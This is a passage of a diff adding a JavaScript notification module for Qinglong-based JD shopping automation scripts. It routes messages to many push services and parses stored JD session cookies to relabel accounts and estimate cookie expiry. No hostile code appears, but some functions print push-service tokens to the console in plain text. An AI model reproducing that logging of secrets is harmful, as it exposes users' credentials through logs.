process.env.PUSH_PLUS_TOKEN_hxtrip6; + } + if (process.env.PUSH_PLUS_USER_hxtrip6 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip6; + } + if (process.env.GOTIFY_URL6) { + GOTIFY_URL = process.env.GOTIFY_URL6; + } + if (process.env.GOTIFY_TOKEN6) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN6; + } + if (process.env.GOTIFY_PRIORITY6) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY6; + } + break; + + case 7: + //==========================第七套环境变量赋值========================= + + if (process.env.GOBOT_URL7 && Use_gobotNotify) { + GOBOT_URL = process.env.GOBOT_URL7; + } + if (process.env.GOBOT_TOKEN7 && Use_gobotNotify) { + GOBOT_TOKEN = process.env.GOBOT_TOKEN7; + } + if (process.env.GOBOT_QQ7 && Use_gobotNotify) { + GOBOT_QQ = process.env.GOBOT_QQ7; + } + + if (process.env.PUSH_KEY7 && Use_serverNotify) { + SCKEY = process.env.PUSH_KEY7; + } + + if (process.env.WP_APP_TOKEN7 && Use_WxPusher) { + WP_APP_TOKEN = process.env.WP_APP_TOKEN7; + } + + if (process.env.WP_TOPICIDS7 && Use_WxPusher) { + WP_TOPICIDS = process.env.WP_TOPICIDS7; + } + + if (process.env.WP_UIDS7 && Use_WxPusher) { + WP_UIDS = process.env.WP_UIDS7; + } + + if (process.env.WP_URL7 && Use_WxPusher) { + WP_URL = process.env.WP_URL7; + } + if (process.env.BARK_PUSH7 && Use_BarkNotify) { + if (process.env.BARK_PUSH7.indexOf('https') > -1 || process.env.BARK_PUSH7.indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env.BARK_PUSH7; + } else { + BARK_PUSH = `https://api.day.app/${process.env.BARK_PUSH7}`; + } + if (process.env.BARK_SOUND7) { + BARK_SOUND = process.env.BARK_SOUND7; + } + if (process.env.BARK_GROUP7) { + BARK_GROUP = process.env.BARK_GROUP7; + } + } + if (process.env.TG_BOT_TOKEN7 && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env.TG_BOT_TOKEN7; + } + if (process.env.TG_USER_ID7 && Use_tgBotNotify) { + TG_USER_ID = process.env.TG_USER_ID7; + } + if (process.env.TG_PROXY_AUTH7 && Use_tgBotNotify) + TG_PROXY_AUTH = process.env.TG_PROXY_AUTH7; + if (process.env.TG_PROXY_HOST7 && Use_tgBotNotify) + TG_PROXY_HOST = process.env.TG_PROXY_HOST7; + if (process.env.TG_PROXY_PORT7 && Use_tgBotNotify) + TG_PROXY_PORT = process.env.TG_PROXY_PORT7; + if (process.env.TG_API_HOST7 && Use_tgBotNotify) + TG_API_HOST = process.env.TG_API_HOST7; + + if (process.env.DD_BOT_TOKEN7 && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env.DD_BOT_TOKEN7; + if (process.env.DD_BOT_SECRET7) { + DD_BOT_SECRET = process.env.DD_BOT_SECRET7; + } + } + + if (process.env.QYWX_KEY7 && Use_qywxBotNotify) { + QYWX_KEY = process.env.QYWX_KEY7; + } + + if (process.env.QYWX_AM7 && Use_qywxamNotify) { + QYWX_AM = process.env.QYWX_AM7; + } + + if (process.env.IGOT_PUSH_KEY7 && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env.IGOT_PUSH_KEY7; + } + + if (process.env.PUSH_PLUS_TOKEN7 && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env.PUSH_PLUS_TOKEN7; + } + if (process.env.PUSH_PLUS_USER7 && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env.PUSH_PLUS_USER7; + } + + if (process.env.PUSH_PLUS_TOKEN_hxtrip7 && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env.PUSH_PLUS_TOKEN_hxtrip7; + } + if (process.env.PUSH_PLUS_USER_hxtrip7 && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env.PUSH_PLUS_USER_hxtrip7; + } + if (process.env.GOTIFY_URL7) { + GOTIFY_URL = process.env.GOTIFY_URL7; + } + if (process.env.GOTIFY_TOKEN7) { + GOTIFY_TOKEN = process.env.GOTIFY_TOKEN7; + } + if (process.env.GOTIFY_PRIORITY7) { + GOTIFY_PRIORITY = process.env.GOTIFY_PRIORITY7; + } + break; + } + + //检查是否在不使用Remark进行名称替换的名单 + const notifySkipRemarkList = process.env.NOTIFY_SKIP_NAMETYPELIST ? process.env.NOTIFY_SKIP_NAMETYPELIST.split('&') : []; + const titleIndex3 = notifySkipRemarkList.findIndex((item) => item === strTitle); + + if (text == "京东到家果园互助码:") { + ShowRemarkType = "1"; + if (desp) { + var arrTemp = desp.split(","); + var allCode = ""; + for (let k = 0; k < arrTemp.length; k++) { + if (arrTemp[k]) { + if (arrTemp[k].substring(0, 1) != "@") + allCode += arrTemp[k] + ","; + } + } + + if (allCode) { + desp += '\n' + '\n' + "ccwav格式化后的互助码:" + '\n' + allCode; + } + } + } + + if (ShowRemarkType != "1" && titleIndex3 == -1) { + console.log("sendNotify正在处理账号Remark....."); + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + var strTempdesp = []; + var strAllNotify = ""; + if (text == "京东资产变动" || text == "京东资产变动#2" || text == "京东资产变动#3" || text == "京东资产变动#4") { + strTempdesp = desp.split('🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏'); + if (strTempdesp.length == 2) { + strAllNotify = strTempdesp[0]; + desp = strTempdesp[1]; + } + + } + + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.Remark = getRemark(envs[i].remarks); + $.nickName = ""; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + + try { + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + text = text.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + if (text == "京东资产变动" || text == "京东资产变动#2" || text == "京东资产变动#3" || text == "京东资产变动#4") { + var Tempinfo = getQLinfo(cookie, envs[i].created, envs[i].timestamp, envs[i].remarks); + if (Tempinfo) { + $.Remark += Tempinfo; + } + } + + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + strsummary = strsummary.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + //console.log("额外处理2:"+tempname); + text = text.replace(new RegExp(tempname, 'gm'), $.Remark); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + strsummary = strsummary.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + + //console.log($.nickName+$.Remark); + + } + + } + + } + console.log("处理完成,开始发送通知..."); + if (strAllNotify) { + desp = strAllNotify + "\n" + desp; + } + } + } catch (error) { + console.error(error); + } + + if (boolneedUpdate) { + var str = JSON.stringify(TempCK, null, 2); + fs.writeFile(strCKFile, str, function (err) { + if (err) { + console.log(err); + console.log("更新CKName_cache.json失败!"); + } else { + console.log("缓存文件CKName_cache.json更新成功!"); + } + }) + } + + //提供6种通知 + desp = buildLastDesp(desp, author) + + await serverNotify(text, desp); //微信server酱 + + if (PUSH_PLUS_TOKEN_hxtrip) { + console.log("hxtrip TOKEN :" + PUSH_PLUS_TOKEN_hxtrip); + } + if (PUSH_PLUS_USER_hxtrip) { + console.log("hxtrip USER :" + PUSH_PLUS_USER_hxtrip); + } + PushErrorTime = 0; + await pushPlusNotifyhxtrip(text, desp); //pushplushxtrip(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotifyhxtrip(text, desp); + } + + if (PUSH_PLUS_TOKEN) { + console.log("PUSH_PLUS TOKEN :" + PUSH_PLUS_TOKEN); + } + if (PUSH_PLUS_USER) { + console.log("PUSH_PLUS USER :" + PUSH_PLUS_USER); + } + PushErrorTime = 0; + await pushPlusNotify(text, desp); //pushplus(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + } + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + + } + + //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动 + text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + BarkNotify(text, desp, params), //iOS Bark APP + tgBotNotify(text, desp), //telegram 机器人 + ddBotNotify(text, desp), //钉钉机器人 + qywxBotNotify(text, desp), //企业微信机器人 + qywxamNotify(text, desp, strsummary), //企业微信应用消息推送 + iGotNotify(text, desp, params), //iGot + gobotNotify(text, desp), //go-cqhttp + gotifyNotify(text, desp), //gotify + wxpusherNotify(text, desp) // wxpusher + ]); +} + +function getuuid(strRemark, PtPin) { + var strTempuuid = ""; + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + console.log(PtPin + ": 检测到NVJDC的一对一格式,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length > 4) { + if (TempRemarkList[j].substring(0, 4) == "UID_") { + strTempuuid = TempRemarkList[j]; + break; + } + } + } + } + if (!strTempuuid) { + console.log("检索资料失败..."); + } + } + } + if (!strTempuuid && TempCKUid) { + console.log("正在从CK_WxPusherUid文件中检索资料..."); + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + strTempuuid = TempCKUid[j].Uid; + break; + } + } + } + return strTempuuid; +} + +function getQLinfo(strCK, intcreated, strTimestamp, strRemark) { + var strCheckCK = strCK.match(/pt_key=([^; ]+)(?=;?)/) && strCK.match(/pt_key=([^; ]+)(?=;?)/)[1]; + var strPtPin = decodeURIComponent(strCK.match(/pt_pin=([^; ]+)(?=;?)/) && strCK.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var strReturn = ""; + if (strCheckCK.substring(0, 4) == "AAJh") { + var DateCreated = new Date(intcreated); + var DateTimestamp = new Date(strTimestamp); + var DateToday = new Date(); + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + //console.log(strPtPin + ": 检测到NVJDC的备注格式,尝试获取登录时间,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length == 13) { + DateTimestamp = new Date(parseInt(TempRemarkList[j])); + //console.log(strPtPin + ": 获取登录时间成功:" + GetDateTime(DateTimestamp)); + break; + } + } + } + } + } + + //过期时间 + var UseDay = Math.ceil((DateToday.getTime() - DateCreated.getTime()) / 86400000); + var LogoutDay = 30 - Math.ceil((DateToday.getTime() - DateTimestamp.getTime()) / 86400000); + if (LogoutDay < 1) { + strReturn = "\n【登录信息】总挂机" + UseDay + "天(账号即将到期,请重登续期)" + } else { + strReturn = "\n【登录信息】总挂机" + UseDay + "天(有效期约剩" + LogoutDay + "天)" + } + + } + return strReturn +} + +function getRemark(strRemark) { + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + var TempRemarkList = strRemark.split("@@"); + return TempRemarkList[0].trim(); + } else { + //这是为了处理ninjia的remark格式 + strRemark = strRemark.replace("remark=", ""); + strRemark = strRemark.replace(";", ""); + return strRemark.trim(); + } + } else { + return ""; + } +} + +async function sendNotifybyWxPucher(text, desp, PtPin, author = '\n\n本通知 By ccwav Mod', strsummary = "") { + + try { + var Uid = ""; + var UserRemark = ""; + var strTempdesp = []; + var strAllNotify = ""; + if (text == "京东资产变动") { + strTempdesp = desp.split('🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏'); + if (strTempdesp.length == 2) { + strAllNotify = strTempdesp[0]; + desp = strTempdesp[1]; + } + + } + + if (WP_APP_TOKEN_ONE) { + var tempEnv = await getEnvByPtPin(PtPin); + if (tempEnv) { + cookie = tempEnv.value; + Uid = getuuid(tempEnv.remarks, PtPin); + UserRemark = getRemark(tempEnv.remarks); + + if (Uid) { + console.log("查询到Uid :" + Uid); + WP_UIDS_ONE = Uid; + console.log("正在发送一对一通知,请稍后..."); + + if (text == "京东资产变动") { + try { + $.nickName = ""; + $.FoundPin = ""; + $.UserName = PtPin; + if (tempEnv.status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + } + } + + $.nickName = $.nickName || $.UserName; + + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + + var Tempinfo = getQLinfo(cookie, tempEnv.created, tempEnv.timestamp, tempEnv.remarks); + if (Tempinfo) { + Tempinfo = $.nickName + Tempinfo; + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), Tempinfo); + } + + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + } + if (UserRemark) { + text = text + " (" + UserRemark + ")"; + } + console.log("处理完成,开始发送通知..."); + desp = buildLastDesp(desp, author); + if (strAllNotify) { + desp = strAllNotify + "\n" + desp; + } + await wxpusherNotifyByOne(text, desp, strsummary); + } else { + console.log("未查询到用户的Uid,取消一对一通知发送..."); + } + } + } else { + console.log("变量WP_APP_TOKEN_ONE未配置WxPusher的appToken, 取消发送..."); + + } + } catch (error) { + console.error(error); + } + +} + +async function GetPtPin(text) { + try { + const TempList = text.split('- '); + if (TempList.length > 1) { + var strNickName = TempList[TempList.length - 1]; + var strPtPin = ""; + console.log(`捕获别名:` + strNickName); + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].nickName == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + if (TempCK[j].pt_pin == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + } + if (strPtPin) { + console.log(`反查PtPin成功:` + strPtPin); + return strPtPin; + } else { + console.log(`别名反查PtPin失败: 1.用户更改了别名 2.可能是新用户,别名缓存还没有。`); + return ""; + } + } + } else { + console.log(`标题格式无法捕获别名...`); + return ""; + } + } catch (error) { + console.error(error); + return ""; + } + +} + +async function isLoginByX1a0He(cookie) { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function gotifyNotify(text, desp) { + return new Promise((resolve) => { + if (GOTIFY_URL && GOTIFY_TOKEN) { + const options = { + url: `${GOTIFY_URL}/message?token=${GOTIFY_TOKEN}`, + body: `title=${encodeURIComponent(text)}&message=${encodeURIComponent(desp)}&priority=${GOTIFY_PRIORITY}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('gotify发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.id) { + console.log('gotify发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function gobotNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (GOBOT_URL) { + const options = { + url: `${GOBOT_URL}?access_token=${GOBOT_TOKEN}&${GOBOT_QQ}`, + json: { + message: `${text}\n${desp}` + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送go-cqhttp通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.retcode === 0) { + console.log('go-cqhttp发送通知消息成功🎉\n'); + } else if (data.retcode === 100) { + console.log(`go-cqhttp发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`go-cqhttp发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function serverNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (SCKEY) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`, + body: `text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + console.log('server酱发送通知消息成功🎉\n'); + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function BarkNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent( + desp + )}?sound=${BARK_SOUND}&group=${BARK_GROUP}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function tgBotNotify(text, desp) { + return new Promise((resolve) => { + if (TG_BOT_TOKEN && TG_USER_ID) { + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + body: `chat_id=${TG_USER_ID}&text=${text}\n\n${desp}&disable_web_page_preview=true`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require('tunnel'); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH, + }, + }), + }; + Object.assign(options, { + agent + }); + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉。\n'); + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n'); + } else if (data.error_code === 401) { + console.log('Telegram bot token 填写错误。\n'); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function ddBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息完成。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function qywxBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function buildLastDesp(desp, author = '') { + author = process.env.NOTIFY_AUTHOR || author; + if (process.env.NOTIFY_AUTHOR_BLANK || !author) { + return desp.trim(); + } else { + if (!author.match(/本通知 By/)) { + author = `\n\n本通知 By ${author}` + } + return desp.trim() + author + "\n通知时间: " + GetDateTime(new Date()); + } +} + +function ChangeUserId(desp) { + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split('|'); + let userId = ''; + for (let i = 0; i < userIdTmp.length; i++) { + const count = '账号' + (i + 1); + const count2 = '签到号 ' + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) + userId = QYWX_AM_AY[2]; + return userId; + } else { + return '@all'; + } +} + +function qywxamNotify(text, desp, strsummary = "") { + return new Promise((resolve) => { + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options_accesstoken, (err, resp, data) => { + html = desp.replace(/\n/g, '
'); + html = `${html}`; + if (strsummary == "") { + strsummary = desp; + } + var json = JSON.parse(data); + accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${strsummary}`, + url: 'https://github.com/whyour/qinglong', + btntxt: '更多', + }, + }; + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [{ + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${strsummary}`, + }, ], + }, + }; + } + if (!QYWX_AM_AY[4]) { + //如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + } + options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options, + }, + headers: { + 'Content-Type': 'application/json', + }, + }; + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); + } else { + resolve(); + } + }); +} + +function iGotNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp('^[a-zA-Z0-9]{24}$'); + if (!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的IGOT_PUSH_KEY无效\n'); + resolve(); + return; + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + if (typeof data === 'string') + data = JSON.parse(data); + if (data.ret === 0) { + console.log('iGot发送通知消息成功🎉\n'); + } else { + console.log(`iGot发送通知消息失败:${data.errMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function pushPlusNotifyhxtrip(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN_hxtrip) { + //desp = `${desp}`; + + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN_hxtrip}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER_hxtrip}`, + }; + const options = { + url: `http://pushplus.hxtrip.com/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + if (data.indexOf("200") > -1) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败:${data}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function pushPlusNotify(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN) { + + //desp = `${desp}`; + + desp = desp.replace(/[\n\r]/g, '
